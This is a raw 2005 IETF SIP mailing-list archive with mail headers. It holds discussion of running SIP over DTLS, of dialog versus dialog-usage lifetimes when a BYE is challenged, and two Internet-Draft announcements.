Wednesday, February 16, 2005 9:47 PM To: 'Cullen Jennings'; 'Jonathan Rosenberg' Cc: sip@ietf.org Subject: RE: [Sip] draft-jennings-sip-dtls =09 =09 I would agree with Jonathan. =20 Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them.=20 =20 Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS. =20 I'd like to see real data before we add yet another thing we'll have to implement... -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 15, 2005 20:08 To: Jonathan Rosenberg Cc: sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-dtls =09 =09 =09 Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) =09 I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP.=20 =09 I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated.=20 =09 =09 On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: =09 =09 Cullen,=20 =09 What seems missing to me from this is requirements and problem=20 statements. What is DTLS doing for us that we don't get from TLS?=20 =09 Though SIP can run over many different transport protocols, I think=20 experience over time has shown that more choices here is not necessarily=20 a good thing, as SIP has a fair bit of complexity as a result of dealing=20 with the differences between UDP and TCP. As such, I don't think its a=20 good idea to just add more transport protocols to SIP's list of=20 supported ones unless there is a compelling problem that it is solving.=20 =09 Thanks,=20 Jonathan R.=20 =09 Cullen Jennings wrote:=20 =09 >=20 > Nagendra and I put together a draft on using DTLS with SIP. Until it=20 > shows up in the archives you can find it at=20 >=20 > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls -00.html=20 >=20 > (there is a .txt version too)=20 >=20 >=20 > The abstract is:=20 >=20 > This draft specifies how to use Datagram Transport Layer Security=20 > (DTLS) as a transport for SIP. DTLS is a new protocol for providing=20 > TLS security over a datagram protocol.=20 >=20 >=20 > ------------------------------------------------------------------------ >=20 > _______________________________________________=20 > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip=20 > This list is for NEW development of the core SIP Protocol=20 > Use sip-implementors@cs.columbia.edu for questions on current sip=20 > Use sipping@ietf.org for new developments on the application of sip=20 =09 =09 =09 ------_=_NextPart_001_01C51473.A3DBCBD4 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Today I would recommend SIP operators to avoid = TCP (and=20 that includes TLS) because the processes are simply running out of = sockets=20 (think about an ITSP with one million customers). The UDP/DTLS idea = would make=20 it reasonable simple to have much more connections and on top have = security. And=20 as far as I understood the dtls it finally does solve the fragmentation = pain=20 problem.
 
That sounds like a great thing to me. I would = vote for=20 dtls!
 
CS

From: sip-bounces@ietf.org=20 [mailto:sip-bounces@ietf.org] On Behalf Of Francois=20 Audet
Sent: Wednesday, February 16, 2005 9:47 = PM
To:=20 'Cullen Jennings'; 'Jonathan Rosenberg'
Cc:=20 sip@ietf.org
Subject: RE: [Sip]=20 draft-jennings-sip-dtls

I=20 would agree with Jonathan.
 
Yes,=20 some implementations of SIP/TCP have performance issues compared to = SIP/UDP,=20 but not necessarily all of them.
 
Also, if we need to address the other problems of UDP = transport (like=20 fragmentation, and others), then it is not clear to me that we are = saving much=20 in the first place by using UDP/DTLS instead of = TCP/TLS.
 
I'd=20 like to see real data before we add yet another thing we'll have to=20 implement...
-----Original Message-----
From:=20 sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of=20 Cullen Jennings
Sent: Tuesday, February 15, 2005=20 20:08
To: Jonathan Rosenberg
Cc:=20 sip@ietf.org
Subject: Re: [Sip]=20 draft-jennings-sip-dtls


Oops - I=20 meant to put that.... There is pretty much one key thing. No one has = build=20 an single edge proxy that can terminate 100k to 1M connections to = UAs using=20 TLS. In theory it is possible, but in practice it seems hard. The = argument=20 is that this will be easier with DTLS. The issue is not the time it = takes to=20 do the crypto - session resumption deals with that nicely - it just = the=20 issues of dealing with half a million TCP connections to one box. Of = course=20 no one has done it with DTLS either :-)

I believe the = argument we=20 made for SCTP was that adding an extensions for SCTP won't increase = the=20 complexity of things that don't support SCTP.

I agree the = UDP/TCP=20 complexity made SIP more complicated and I agree that sip and sips = made=20 things more complicated. I'm not sure I buy that both TLS and TCP = made=20 things more complicated.


On 2/15/05 7:15 PM, "Jonathan=20 Rosenberg" <jdrosen@cisco.com> wrote:
Cullen,

What seems missing to me = from this=20 is requirements and problem
statements. What is DTLS doing for = us that=20 we don't get from TLS?

Though SIP can run over many = different=20 transport protocols, I think
experience over time has shown = that more=20 choices here is not necessarily
a good thing, as SIP has a = fair bit of=20 complexity as a result of dealing
with the differences between = UDP and=20 TCP. As such, I don't think its a
good idea to just add more = transport=20 protocols to SIP's list of
supported ones unless there is a = compelling=20 problem that it is solving.

Thanks,
Jonathan R. =

Cullen=20 Jennings wrote:

>
> Nagendra and I put together = a draft=20 on using DTLS with SIP. Until it
> shows up in the archives = you can=20 find it at
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-j= ennings-sip-dtls-00.html=20
>
> (there is a .txt version too)
>
> =
>=20 The abstract is:
>
>    This draft = specifies=20 how to use Datagram Transport Layer Security
>=20    (DTLS) as a transport for SIP.  DTLS is a = new=20 protocol for providing
>    TLS security = over a=20 datagram protocol.
>
>
>=20 = ------------------------------------------------------------------------ =
>
> _______________________________________________ =
>=20 Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip =
>=20 This list is for NEW development of the core SIP Protocol
> = Use=20 sip-implementors@cs.columbia.edu for questions on current sip =
> Use=20 sipping@ietf.org for new developments on the application of sip=20

------_=_NextPart_001_01C51473.A3DBCBD4-- --===============0685188293== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0685188293==-- From sip-bounces@ietf.org Thu Feb 17 10:04:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02412 for ; Thu, 17 Feb 2005 10:04:05 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1nXm-0005gq-7Z for sip-web-archive@ietf.org; Thu, 17 Feb 2005 10:26:18 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1mw1-0000nd-Ry; Thu, 17 Feb 2005 09:47:17 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1mpl-00066j-Rb for sip@megatron.ietf.org; Thu, 17 Feb 2005 09:40:50 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA29452 for ; Thu, 17 Feb 2005 09:40:48 -0500 (EST) Received: from smtp.dataconnection.com ([192.91.191.4]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1nBF-00050l-5i for sip@ietf.org; Thu, 17 Feb 2005 10:03:01 -0500 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Subject: RE: [Sip] RE: wording in the dialog package on mid-dialog requests Date: Thu, 17 Feb 2005 14:40:13 -0000 Message-ID: <53F74F5A7B94D511841C00B0D0AB16F803E53528@baker.datcon.co.uk> Thread-Topic: [Sip] RE: wording in the dialog package on mid-dialog requests Thread-Index: AcUS1VxsrpWYFPu3R4uMmvAnaQRB4gAmEo/g From: "Paul D.Smith" To: "Paul Kyzivat" , "SIP WG" , "Rohan Mahy" , "David R Oran" X-Spam-Score: 0.0 (/) X-Scan-Signature: 36c793b20164cfe75332aa66ddb21196 Content-Transfer-Encoding: quoted-printable X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b132cb3ed2d4be2017585bf6859e1ede Content-Transfer-Encoding: quoted-printable Rohan, Paul K., David, I believe I now understand what you are intending and I think we can = close this thread. I do have a couple of comments below which will hopefully = be helpful in completing this thread. I think the comments from Rohan and Paul K. (below) have clarified my confusion. As Paul K. points out (and I'm not too good about this = myself!), we need to be very clear on the use of "dialog" and "dialog-usage". As = I understand it now, draft-ietf-sipping-dialog-package is about = "dialog-usage" and _not_ dialogs. We therefore must clarify this including changing = the title of the RFC/draft so that this is explicit. However this does raise the question of how we define a "dialog-usage". = The best document I have found thus far is "Multiple Dialog Usages in the Session Initiation Protocol", draft-sparks-sipping-dialogusage-00. Unfortunately this contains the following text. A dialog comes into existence with the creation of the first usage, and continues to exist until the last usage is terminated (reference counting). Unfortunately, many of the usage management aspects of SIP, such as authentication, were originally designed with the implicit assumption that there was one usage per dialog. The resulting mechanisms have mixed effects, some influencing the usage, and some influencing the entire dialog. ...and... 401 Unauthorized ,407 Proxy Authentication Required: This request, not the subscription or dialog, is being challenged. The usages and dialog are not terminated. The first paragraph is clearly not consistent with the current proposal for draft-ietf-sipping-dialog-package since it is allowing a = dialog-usage to terminated _but_ the dialog still exists to allow a challenged BYE to be sent. Similarly, the second paragraph contravenes the assertion that the dialog-usage terminates on sending the BYE and has terminated _before_ the 401/407 response is received. As I'm sure you realise, I'm happy with the definitions given in draft-sparks-sipping-dialogusage-00 as this was the basis for my previous comments. However I appreciate that this is _not_ the current thinking of the WG. Can I therefore ask that someone takes the task to clarify/change the definition of a dialog-usage, its lifetime and states? I believe this MUST be done in parallel with the current work on draft-ietf-sipping-dialog-package, otherwise this draft will continue to be inconsistent with published definitions of dialog-usage. One suggestion that might be useful is to consider a new state for dialog-usage known as "terminating". This is a half-way house between "active" and "terminated" and has the following properties. - Any attempt to send a dialog-usage request within that dialog-usage fails _except_ for the dialog-usage terminating request [1] (and in the same direction as the original dialog-usage terminating request). - The dialog-usage terminating request may be resent (actually a new request in strict SIP terms), for example to take account of a challenge being received. - Once the dialog-usage terminating request has completed (success, 481, 408, or an application determined retry limit has been reached (for example the application may choose to resend a BYE once after a 486 response), then the dialog-usage enters terminated state. This would be consistent with existing definitions of the dialog-usage whilst still allowing the draft-ietf-sipping-dialog-package to indicate "this dialog-usage" is ending. Thanks for your patience is discussing this issue. Hopefully this = thread will be a useful reference for the future. Regards, Paul D Smith Network Protocols Group=20 Data Connection Ltd (DCL) Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com=20 Fax: +44 20 8363 1039 Web: http://www.dataconnection.com Rohan Mahy wrote: >=20 > Hi Paul, >=20 > BYE is unique in that when my UA sends a BYE, it is done with the = usage.=20 > If the peer challenges the BYE, my UA will of course try to=20 > automatically resend the BYE with the appropriate credentials, but = this=20 > does not impact my view of the state of the usage. I am done with it. = =20 > Nothing you can do will bring the usage back from the dead. The=20 > challenge may increase the amount of time my peer thinks the usage is=20 > alive when I think it is dead, and that is perfectly fine. I'm perfectly fine with that as long as as: - we are talking about the *usage*, not the *dialog* - its ok to keep trying to get that BYE through > thanks, > -rohan _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 17 13:20:56 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA13290 for ; Thu, 17 Feb 2005 13:20:56 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1qcK-0001Lc-Kn for sip-web-archive@ietf.org; Thu, 17 Feb 2005 13:43:12 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nPf-0004jN-L8; Thu, 17 Feb 2005 10:17:55 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nDg-00085C-Ad; Thu, 17 Feb 2005 10:05:32 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02708; Thu, 17 Feb 2005 10:05:30 -0500 (EST) Message-Id: <200502171505.KAA02708@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Thu, 17 Feb 2005 10:05:29 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-identity-04.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: 5011df3e2a27abcc044eaa15befcaa87 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : Enhancements for Authenticated Identity Management in the Session Initiation Protocol (SIP) Author(s) : J. Peterson, C. Jennings Filename : draft-ietf-sip-identity-04.txt Pages : 35 Date : 2005-2-16 The existing security mechanisms in the Session Initiation Protocol are inadequate for cryptographically assuring the identity of the end users that originate SIP requests, especially in an interdomain context. This document recommends practices and conventions for identifying end users in SIP messages, and proposes a way to distribute cryptographically-secure authenticated identities. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-identity-04.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-identity-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-identity-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-17102543.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-identity-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-identity-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-17102543.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Thu Feb 17 13:25:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14411 for ; Thu, 17 Feb 2005 13:25:38 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1qgs-0001fd-Qs for sip-web-archive@ietf.org; Thu, 17 Feb 2005 13:47:55 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nPk-0004kZ-Ss; Thu, 17 Feb 2005 10:18:00 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nE9-0008CO-1I; Thu, 17 Feb 2005 10:06:01 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02785; Thu, 17 Feb 2005 10:05:59 -0500 (EST) Message-Id: <200502171505.KAA02785@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org From: Internet-Drafts@ietf.org Date: Thu, 17 Feb 2005 10:05:58 -0500 Cc: sip@ietf.org Subject: [Sip] I-D ACTION:draft-ietf-sip-guidelines-09.txt X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.4 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Session Initiation Protocol Working Group of the IETF. Title : Guidelines for Authors of Extensions to the Session Initiation Protocol (SIP) Author(s) : J. Rosenberg, H. Schulzrinne Filename : draft-ietf-sip-guidelines-09.txt Pages : 23 Date : 2005-2-16 The Session Initiation Protocol (SIP) is a flexible, yet simple tool for establishing interactive connections across the Internet. Part of this flexibility is the ease with which it can be extended. In order to facilitate effective and interoperable extensions to SIP, some guidelines need to be followed when developing SIP extensions. This document outlines a set of such guidelines for authors of SIP extensions. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sip-guidelines-09.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sip-guidelines-09.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sip-guidelines-09.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2005-2-17102550.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sip-guidelines-09.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sip-guidelines-09.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2005-2-17102550.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --NextPart-- From sip-bounces@ietf.org Thu Feb 17 15:15:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA29550 for ; Thu, 17 Feb 2005 15:15:07 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1sOo-0006AB-Tb for sip-web-archive@ietf.org; Thu, 17 Feb 2005 15:37:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1qYL-0005vV-SQ; Thu, 17 Feb 2005 13:39:05 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1nS5-0005Wx-MQ for sip@megatron.ietf.org; Thu, 17 Feb 2005 10:20:25 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05101 for ; Thu, 17 Feb 2005 10:20:24 -0500 (EST) Received: from rtp-iport-2.cisco.com ([64.102.122.149]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1nnZ-0006BU-8M for sip@ietf.org; Thu, 17 Feb 2005 10:42:37 -0500 Received: from rtp-core-2.cisco.com (64.102.124.13) by rtp-iport-2.cisco.com with ESMTP; 17 Feb 2005 10:19:54 -0500 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62]) by rtp-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j1HFJohF010910; Thu, 17 Feb 2005 10:19:51 -0500 (EST) Received: from cisco.com ([161.44.79.182]) by flask.cisco.com (MOS 3.4.6-GR) with ESMTP id APE96180; Thu, 17 Feb 2005 10:19:50 -0500 (EST) Message-ID: <4214B616.2030602@cisco.com> Date: Thu, 17 Feb 2005 10:19:50 -0500 From: Paul Kyzivat User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Paul D.Smith" Subject: Re: [Sip] RE: wording in the dialog package on mid-dialog requests References: <53F74F5A7B94D511841C00B0D0AB16F803E53528@baker.datcon.co.uk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: b1c41982e167b872076d0018e4e1dc3c Content-Transfer-Encoding: 7bit Cc: SIP WG , Rohan Mahy , David R Oran X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93e7fb8fef2e780414389440f367c879 Content-Transfer-Encoding: 7bit Paul D, Good summary. I pretty much agree with it. Just a couple of points inline. Paul K. Paul D.Smith wrote: > Rohan, Paul K., David, > > I believe I now understand what you are intending and I think we can close > this thread. I do have a couple of comments below which will hopefully be > helpful in completing this thread. > > I think the comments from Rohan and Paul K. (below) have clarified my > confusion. As Paul K. points out (and I'm not too good about this myself!), > we need to be very clear on the use of "dialog" and "dialog-usage". As I > understand it now, draft-ietf-sipping-dialog-package is about "dialog-usage" > and _not_ dialogs. We therefore must clarify this including changing the > title of the RFC/draft so that this is explicit. I've been trying to get the *package name* changed for months. (Probably years by now.) But I have more or less given up, and would be satisfied if there was sufficient text in the draft explaining that what it means is somewhat different than what one might conclude from the terms used. That package isn't about dialogs, and it isn't about dialog-usages in general either. It is about 'invite-dialog-usage'. The same UA may have a bunch of subscriptions, both incoming and outgoing, that are dialog usages. But those will never be reflected in the content of the 'dialog' package. > However this does raise the question of how we define a "dialog-usage". The > best document I have found thus far is "Multiple Dialog Usages in the > Session Initiation Protocol", draft-sparks-sipping-dialogusage-00. > Unfortunately this contains the following text. > > A dialog comes into existence with the creation of the first usage, > and continues to exist until the last usage is terminated (reference > counting). Unfortunately, many of the usage management aspects of > SIP, such as authentication, were originally designed with the > implicit assumption that there was one usage per dialog. The > resulting mechanisms have mixed effects, some influencing the usage, > and some influencing the entire dialog. > > ...and... > > 401 Unauthorized ,407 Proxy Authentication Required: This request, > not the subscription or dialog, is being challenged. The usages > and dialog are not terminated. > > The first paragraph is clearly not consistent with the current proposal > for draft-ietf-sipping-dialog-package since it is allowing a dialog-usage > to terminated _but_ the dialog still exists to allow a challenged BYE to > be sent. > > Similarly, the second paragraph contravenes the assertion that the > dialog-usage terminates on sending the BYE and has terminated _before_ > the 401/407 response is received. > > As I'm sure you realise, I'm happy with the definitions given in > draft-sparks-sipping-dialogusage-00 as this was the basis for my > previous comments. > > However I appreciate that this is _not_ the current thinking of the WG. > Can I therefore ask that someone takes the task to clarify/change the > definition of a dialog-usage, its lifetime and states? I believe this > MUST be done in parallel with the current work > on draft-ietf-sipping-dialog-package, otherwise this draft will continue > to be inconsistent with published definitions of dialog-usage. > > One suggestion that might be useful is to consider a new state for > dialog-usage known as "terminating". This is a half-way house between > "active" and "terminated" and has the following properties. > > - Any attempt to send a dialog-usage request within that dialog-usage > fails _except_ for the dialog-usage terminating request [1] (and in > the same direction as the original dialog-usage terminating request). Probably need to be more lenient here. A BYE could be sent, but be challenged. Before a successful retry is completed, a BYE could arrive from the other end. I think this should be answered, and terminate the dialog usage. > - The dialog-usage terminating request may be resent (actually a new > request in strict SIP terms), for example to take account of > a challenge being received. > - Once the dialog-usage terminating request has completed (success, 481, > 408, or an application determined retry limit has been reached (for > example the application may choose to resend a BYE once after a 486 > response), then the dialog-usage enters terminated state. > > This would be consistent with existing definitions of the dialog-usage > whilst still allowing the draft-ietf-sipping-dialog-package to indicate > "this dialog-usage" is ending. > > Thanks for your patience is discussing this issue. Hopefully this thread > will be a useful reference for the future. > > Regards, > Paul D Smith > Network Protocols Group > Data Connection Ltd (DCL) > Tel: +44 20 8366 1177 Email: paul.d.smith@dataconnection.com > Fax: +44 20 8363 1039 Web: http://www.dataconnection.com > > > > > > Rohan Mahy wrote: > >>Hi Paul, >> >>BYE is unique in that when my UA sends a BYE, it is done with the usage. >>If the peer challenges the BYE, my UA will of course try to >>automatically resend the BYE with the appropriate credentials, but this >>does not impact my view of the state of the usage. I am done with it. >>Nothing you can do will bring the usage back from the dead. The >>challenge may increase the amount of time my peer thinks the usage is >>alive when I think it is dead, and that is perfectly fine. > > > I'm perfectly fine with that as long as as: > - we are talking about the *usage*, not the *dialog* > - its ok to keep trying to get that BYE through > > >>thanks, >>-rohan > > _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Thu Feb 17 16:16:07 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06164 for ; Thu, 17 Feb 2005 16:16:06 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1tLq-00085Z-En for sip-web-archive@ietf.org; Thu, 17 Feb 2005 16:38:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1r38-0007m1-2J; Thu, 17 Feb 2005 14:10:54 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1p8x-0007QN-KC for sip@megatron.ietf.org; Thu, 17 Feb 2005 12:08:47 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24770 for ; Thu, 17 Feb 2005 12:08:45 -0500 (EST) Received: from magus.nostrum.com ([69.5.195.2] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1pUR-00042a-4f for sip@ietf.org; Thu, 17 Feb 2005 12:31:00 -0500 Received: from [10.0.1.2] (S01060050baa8032f.vc.shawcable.net [24.85.92.32] (may be forged)) (authenticated bits=0) by magus.nostrum.com (8.12.11/8.12.11) with ESMTP id j1HH8Jsr034131 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO); Thu, 17 Feb 2005 11:08:20 -0600 (CST) (envelope-from rjsparks@nostrum.com) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: sip-implementors@cs.columbia.edu, SIP WG From: Robert Sparks Date: Thu, 17 Feb 2005 11:08:21 -0600 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: 7bac9cb154eb5790ae3b2913587a40de Content-Transfer-Encoding: 